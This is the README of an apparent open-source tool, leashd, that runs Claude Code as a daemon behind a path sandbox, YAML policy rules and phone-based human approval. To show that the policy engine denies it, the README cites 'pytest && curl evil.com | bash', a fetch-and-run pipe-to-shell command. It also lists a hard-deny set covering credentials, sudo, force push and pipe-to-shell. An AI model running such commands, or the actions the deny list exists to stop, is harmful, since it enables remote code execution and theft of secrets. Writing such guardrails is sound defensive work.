Run Claude Code as a daemon. Drive it from your phone. Keep a leash on it.
leashd is a background daemon that runs Claude Code on your dev machine and puts a three-layer safety pipeline in front of every tool call it makes: a path sandbox, YAML policy rules, then you. Risky actions arrive as Approve / Reject buttons — in your browser, or on your phone's lock screen.
The point is that you can walk away from the keyboard. Kick off a task from the built-in Web UI, close the laptop, and approve the git push from the bus.
you, on your phone your dev machine
────────────────── ────────────────
"/task add rate limiting" ──────────▶ leashd daemon
│
┌────▼─────┐
│ sandbox │ outside approved dirs? blocked
│ policy │ YAML: allow / deny / ask
│ approval │ ─────────┐
└────┬─────┘ │
│ ▼
claude agent 📱 "Run `git push origin
reads, writes, feat/rate-limit`?"
runs your tests [Approve] [Reject]
│
"✅ PR #482 opened" ◀───────────────────┘
Everything lands in an append-only audit trail. Nothing gets past the hard-deny floor — credentials, sudo, force push, pipe-to-shell — no matter what you or the agent approve. A recursive delete is one step below it: it always asks, because in practice the agent is clearing its own __pycache__.
- It's a real
claudeTUI, not a wrapper. leashd drives an interactive Claude Code session in a tmux pane and bridges it to chat — so you get the actual CLI's behavior, models, subagents and native slash commands (/model,/compact,/context), with every tool call still routed back through leashd's gatekeeper viaPreToolUsehooks. - Approvals that reach you anywhere. The Web UI is a PWA. Install it on your home screen and approvals arrive as push notifications with the browser closed.
leashd webui tunnelexposes it over ngrok / Cloudflare / Tailscale in one command. - Policy you can actually read. Safety is a YAML file, not a prompt. Compound commands are split and evaluated segment-by-segment, deny-wins —
pytest && curl evil.com | bashis denied. - Autonomous when you want it.
/taskimplements, runs your tests, reviews the diff and, when the change is visible in a running app, drives a real browser against it. It stops for the hard-deny floor and escalates instead of looping. - Local by default. No account, no third-party service.
localhost, a SQLite file, and your own API auth.
uv tool install leashd # or: pip install leashd
leashd init # wizard: approved dirs, Web UI key + port
leashd start # daemon starts in the backgroundOpen http://localhost:8080, enter your API key, and send something like "Add a health check endpoint to the FastAPI app".
Prerequisites — Python 3.10+, tmux, and the Claude Code CLI 2.1.259+ authenticated (claude works in your terminal).
PWA, phone access, Telegram
Install as a PWA — in Chrome or Safari, tap "Add to Home Screen" (mobile) or "Install" (desktop) for a standalone app with push notifications.
Access from your phone:
leashd webui tunnel # ngrok (default)
leashd webui tunnel --provider cloudflare # Cloudflare Tunnel
leashd webui tunnel --provider tailscale # Tailscale FunnelThe tunnel is a child of the daemon and stops when it does. When it's up, your LEASHD_WEB_API_KEY is the only thing between the internet and your machine — pick a strong one. Failed auth is rate-limited (5 failures → 60s lockout).
Telegram instead of (or alongside) the Web UI:
- Message @BotFather, send
/newbot, copy the token. - Message @userinfobot for your numeric user ID.
- Set both and restart:
LEASHD_TELEGRAM_BOT_TOKEN=123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11
LEASHD_ALLOWED_USER_IDS=981234567Both connectors run at once on the same engine — start a task in the browser, watch it from your phone.
Every tool call the agent makes passes through three layers before it can execute.
| Layer | What it does |
|---|---|
| 1. Sandbox | The agent can only touch files inside LEASHD_APPROVED_DIRECTORIES. Traversal attempts are blocked and logged as security violations. |
| 2. Policy | YAML rules classify each call as allow / deny / require_approval by tool name, command pattern, and path pattern. First match wins. Compound bash is split on &&, ` |
| 3. Approval | require_approval sends an inline Approve / Reject to the Web UI or Telegram. No response within the timeout → denied. |
The pipeline is connector-agnostic: same sandbox, same rules, same buttons whether you're in the browser or on your phone. Every attempt and decision is appended to .leashd/audit.jsonl.
Five policies ship in policies/:
| Policy | Auto-allows | Requires approval |
|---|---|---|
default.yaml (recommended) |
reads, search, read-only shell (ls, grep, ps, awk, git log/diff, docker ps/logs, reads inside docker exec, gh pr/run view, --version), git fetch, git add, mkdir, loopback GETs, linters/formatters/type checkers (ruff, mypy, tsc, pnpm lint, make check …), read-only browser |
git push/rebase/merge, network, browser mutations |
strict.yaml |
Read, Glob, Grep, LS only |
everything else (2-min timeout) |
permissive.yaml |
reads, writes, package managers, test runners, git add/commit/stash, all browser |
git push, network, browser cookies/auth/storage, anything unlisted (10-min timeout) |
dev-tools.yaml (overlay) |
linters, test runners, package managers | — |
autonomous.yaml |
writes, tests, linters, package managers, safe git, gh pr |
feature-branch push, network, browser mutations (a human in chat; allowed inside /task) |
All five sit on top of a hard-deny floor: credential files, sudo, force push, push to main/master, pipe-to-shell, chmod 777, SQL DROP/TRUNCATE. rm -rf sits just under it as require_approval — it can never run unattended, but you can wave it through instead of losing the turn.
Deny patterns match what the shell will execute, quoting respected — including a payload handed to
bash -coreval.grep "rm -rf" tests/is a search, not a destructive command, and is not blocked.
File edits are not a policy rule. They belong to the active mode:
/autoruns them,/editaccepts them,/defaultprompts,/planblocks them. The policy is the guardrail layer that applies on top in every mode.
LEASHD_POLICY_FILES=policies/strict.yaml
LEASHD_POLICY_FILES=policies/default.yaml,policies/my-overrides.yaml # merged, in orderleashd spawns a real interactive claude TUI in a tmux pane and talks to it the way a human would — so native slash commands pass straight through from chat, dialogs the CLI opens (model picker, consent prompts) get bridged to inline buttons, and /screen gives you a live snapshot of the terminal. Tool calls are intercepted by Claude Code PreToolUse hooks and routed back into leashd's gatekeeper, so nothing escapes the pipeline.
Restarting is safe. tmux panes live on a tmux server of their own, so leashd restart — to pick up a fix, a config change, a new build — no longer ends the work in them. The daemon writes what it needs to find each pane again, leaves them running on the way out, and re-adopts them on the way in: same conversation, same session, same directory. A turn that was still running keeps streaming into the chat where it left off, and a Telegram message you send during the restart runs once the daemon is back. leashd stop --end-agents ends them instead. See docs/agents.md.
Adding a runtime — the runtime registry (agents/registry.py) is kept for that: register a factory and select it with LEASHD_AGENT_RUNTIME. Embedders can also pass any BaseAgent to build_engine(agent=...) to put their own agent behind the same pipeline.
/task <description> hands the whole thing over. The orchestrator runs a linear pipeline, one fresh Claude session per phase:
/task "Add health check endpoint"
│
├─ implement ─── Claude's native `auto` permission policy;
│ every tool still gated by the hook pipeline
│
└─ verify ────── your checks (make check / pytest / npm test)
+ a diff review (Claude's `code-review` skill)
+ a real browser pass when the change is visible in a
running app (agent-browser: a11y, console,
network 4xx/5xx, screenshots)
│
▼
done — or an escalation message if it gets stuck
Task memory lives in .leashd/tasks/<run_id>.md and survives daemon restarts. When a phase burns its retry budget the orchestrator escalates to you instead of looping. Add a read-only review phase with /task --phases implement,verify,review, or per project in .leashd/task-config.yaml.
Inside a /task run, require_approval calls run without asking — nobody is there to tap. The sandbox and the hard-deny floor still apply and can't be overridden, so pick the policy you run tasks under accordingly.
leashd orchestrator enable # turns on /task
leashd orchestrator show # status + active policyThe primary interface — a full chat client on localhost with zero external dependencies.
- Real-time streaming over WebSocket, with a live tool indicator (
🔧 Bash: pytest tests/) and a🧰 Bash ×3, Read, Globsummary when the turn lands - Inline approvals and question modals, identical to Telegram
- Push notifications — Web Push on your lock screen with the browser closed; in-page chime and tab-title flash when backgrounded; optional Telegram cross-notification with deep links
- Installable PWA with proper safe-area handling on notched devices
- Seamless reconnection — pending approvals, questions and in-progress drafts survive a reconnect; a 120s grace period carries sessions through sleep/wake; instant reconnect on phone unlock
- 27 color themes (Dracula, Monokai, Catppuccin, Nord, Synthwave, Matrix, …), each with dark and light variants
- Conversation tabs and history, searchable
- Directory and workspace switching without slash commands
- Settings page for model, effort, max turns, themes
- File attachments — drag-and-drop photos, screenshots and PDFs, threaded to the agent with vision
- Mobile-tuned input — Enter inserts a newline, Send submits, so multi-line prompts work on a phone keyboard
Full guide: docs/webui.md.
Same engine, same sessions, native chat app. Agent Markdown renders properly — headings, bold, lists, code fences, tables. Approvals, questions and plan reviews all arrive as inline buttons.
The Web UI has always had conversation tabs. /session gives a Telegram chat the same thing — several independent conversations, each with its own agent, working directory, mode and history:
/session # list them, with buttons to switch
/session new ~/api # open another (up to 9)
/session 2 # switch to #2
/session kill 2 # terminate #2
Switching pauses nothing — a conversation you leave keeps working. What it stops doing is writing into the chat, so two agents can't interleave into one message stream. Instead you get a one-line notice with an Open button: #2 replied when its turn lands, #2 is waiting on you when it hits an approval, a question or a plan review. The prompt itself is held and rendered under #2 when you open it, so it is always read in the conversation that raised it rather than pasted under the one you happen to be looking at. Walking away from a prompt you have not answered takes it back down with you and reissues it when you return.
Each conversation names itself, so several in the same repo stay tell-apart: the list, the switch banner and the notices read #2 · Login test fix · api rather than #2 · api. The name starts as the first line of your first message and becomes Claude Code's own session title as soon as it writes one. /clear drops it.
Conversation #1 is the chat itself, so nothing changes about an existing chat until you open a second one — and for the same reason it is the one conversation with no ✕. There is no slot to free: /session kill 1 stops its agent and clears its history, like /clear, and it stays on the list.
No Web UI and no Telegram token? leashd falls back to a local REPL:
leashd start -f
# > type your prompts hereApproval-gated actions are auto-denied here — there's no UI to approve from.
Available in both the Web UI and Telegram.
| Command | Description |
|---|---|
/task <description> |
Autonomous: implement → verify → PR |
/goal <condition> |
Set a completion condition the agent works toward across turns until a fast model confirms it's met |
/web <instruction> |
Autonomous web automation with content-level human approval |
/plan <text> |
Plan mode — agent proposes, you approve before execution |
/edit <text> |
Edit mode — direct implementation |
/auto <text> |
Auto mode — Claude's native auto permission policy; leashd intercepts escalations |
/default |
Back to balanced default mode |
/session |
Several conversations in one chat. /session new [dir] opens one, tap to switch, ✕ terminates |
/dir |
Switch working directory (inline buttons). Blocked while an agent is running |
/ws |
Manage workspaces inline. Blocked while an agent is running |
/git <subcommand> |
Full git suite: status, branch, checkout, diff, log, add, commit, push, pull |
/file <path> |
Send a real file from an approved directory to the chat (globs work) |
/screen |
Snapshot of the live claude terminal |
/stop |
Stop all ongoing work without resetting the session |
/resume |
Reattach a conversation dropped by a timeout, interrupt, or /stop. /resume <message> does both at once |
/cancel |
Cancel the active task in this chat |
/tasks |
List active and recent tasks for this chat |
/plugin |
Manage Claude Code plugins mid-session |
/status |
Current session, mode, and directory |
/clear |
Clear history, cancel active tasks, start fresh |
Claude's own slash commands (/model, /compact, /context, /cost, /help, …) pass straight through to the TUI, and any dialog they open is bridged to inline buttons.
Two backends power /web and the /task verify pass, both gated by the same safety pipeline:
| Backend | Install | Best for |
|---|---|---|
| agent-browser (default) | npm i -g agent-browser && agent-browser install |
Fast Rust CLI, accessibility-tree snapshots with deterministic refs (@e1), headless by default, cloud providers + iOS Simulator |
| Playwright MCP (optional) | Node.js + npx playwright install chromium |
MCP-native tooling |
agent-browser browsing runs without asking by default (leashd browser auto-approve off to tap for each step). auth / cookies / storage / clipboard stay policy-gated and are never auto-approved. /web sessions checkpoint their progress, so a crash mid-workflow resumes instead of restarting.
See docs/browser-testing.md for Chrome profile paths, the full tool reference, and policy details.
Group related repos so the agent gets multi-repo context across all of them at once. CLAUDE.md files from every workspace directory are loaded, and the system prompt includes the multi-repo context.
leashd ws add my-saas ~/src/api ~/src/web
leashd ws show my-saasleashd is configured through CLI commands — run leashd init once, then use subcommands. Config resolves in layers, each overriding the last:
~/.leashd/config.yaml ← global base (managed by leashd init / CLI)
.env in your project ← per-project overrides
environment variables ← highest priority
All settings are env vars prefixed with LEASHD_. See docs/configuration.md for the full 40+ setting reference.
CLI reference — daemon, dirs, model, Web UI, browser, plugins, skills, workspaces
# Daemon
leashd start # background
leashd start -f # foreground (debugging)
leashd status / stop / restart
leashd stop --end-agents # stop, and end the running agents too
leashd reload # reload config without restart (SIGHUP)
leashd version
# Setup and inspection
leashd init # first-time wizard
leashd config # resolved config, all layers merged
leashd clean # remove runtime artifacts
# Approved directories
leashd add-dir /path/to/project
leashd remove-dir /path/to/project
leashd dirs
# Model
leashd model show / set <opus|sonnet|claude-…> / clear
# Task orchestrator
leashd orchestrator enable / disable / show
# Web UI
leashd webui show / enable / disable / url
leashd webui tunnel [--provider ngrok|cloudflare|tailscale]
# Browser
leashd browser show
leashd browser set-backend agent-browser
leashd browser set-profile ~/.leashd/browser-profile
leashd browser clear-profile
leashd browser headless
leashd browser auto-approve off # tap for each agent-browser step (on by default)
# Trusted SSH hosts
leashd ssh trust build-box # read-only commands on the host run without asking
leashd ssh trust build-box --full # every command on the host runs without asking
leashd ssh untrust build-box
leashd ssh show
# Agent tuning
leashd effort show / set <low|medium|high|xhigh|max> # default: medium
leashd turns show / set <N> # default: 120
# Plugins and skills
leashd plugin list / add <source> / remove <name> / enable <name> / disable <name>
leashd skill list / add skill.zip / remove <name> / show <name>
# Workspaces
leashd ws add my-saas ~/src/api ~/src/web
leashd ws list / show <name>
leashd ws remove <name> [dir]
# Workflows (YAML playbooks in .leashd/workflows/ or ~/.leashd/workflows/)
leashd workflow list / show <name>Plugins can also be managed mid-session with the /plugin chat command — no restart needed. Max turns and effort are also editable from the Web UI Settings page.
Storage, streaming, logging
Sessions live in a centralized SQLite database at ~/.leashd/messages.db and persist across daemon restarts — the agent remembers context between sessions, and every message carries cost, duration and session metadata. Centralizing it is what keeps concurrent Web UI and Telegram sessions from racing. For dev/testing: LEASHD_STORAGE_BACKEND=memory.
Streaming is on by default in both interfaces. Disable with LEASHD_STREAMING_ENABLED=false.
Logging uses structlog; file logging (JSON, rotating) is on by default at ~/.leashd/logs.
LEASHD_LOG_LEVEL=DEBUG # full trace including policy decisions
LEASHD_LOG_LEVEL=INFO # default — operational events
LEASHD_LOG_DIR=~/.leashd/logsThe INFO event sequence for one request:
engine_building → engine_built → daemon_starting → session_created →
request_started → agent_execute_started → agent_execute_completed →
request_completed
The Engine receives messages from connectors, runs them through middleware (auth, rate limiting), delegates to the tmux runtime, and sends responses back. The MultiConnector routes by chat_id so the Web UI and Telegram share one engine — sessions, approvals and task state are unified. Every tool call is intercepted by the Gatekeeper, which orchestrates the three-layer pipeline. An EventBus decouples subsystems — plugins subscribe to tool.allowed, tool.denied, approval.requested, task.submitted. The TaskOrchestrator runs the implement → verify pipeline with persistent task memory.
Web UI connector ────┐
├─▶ MultiConnector (chat_id routing)
Telegram connector ──┘ │
Middleware (auth, rate limit)
│
Engine ──── EventBus ──── TaskOrchestrator (implement → verify)
│ TaskMemory
tmux runtime (claude TUI)
│
Gatekeeper ──────────────────────────────┐
│ │
PreToolUse hooks 1. Sandbox check
│ 2. Policy rule match
└── tool call ──────────▶ 3. Human approval
Deeper detail in docs/index.md.
git clone git@github.com:vmehera123/leashd.git && cd leashd
uv sync
make check # lint + format + mypy + unit tests
uv run pytest tests/ -v
uv run pytest --cov=leashd tests/
uv run playwright install chromium # one-time
make check-all # = make check + E2E (Playwright vs the WebUI)CI runs unit and E2E separately so Playwright setup issues don't block unit results.
leashd is stable: the config schema and CLI follow semantic versioning, so breaking changes land only in a major release. The core (daemon, safety pipeline, Web UI, Telegram, policy engine, task orchestrator, tmux runtime) is tested at 89%+ coverage. Not recommended where an agent action could be irreversible without review.
Recent releases are in CHANGELOG.md. Bugs and ideas: open an issue.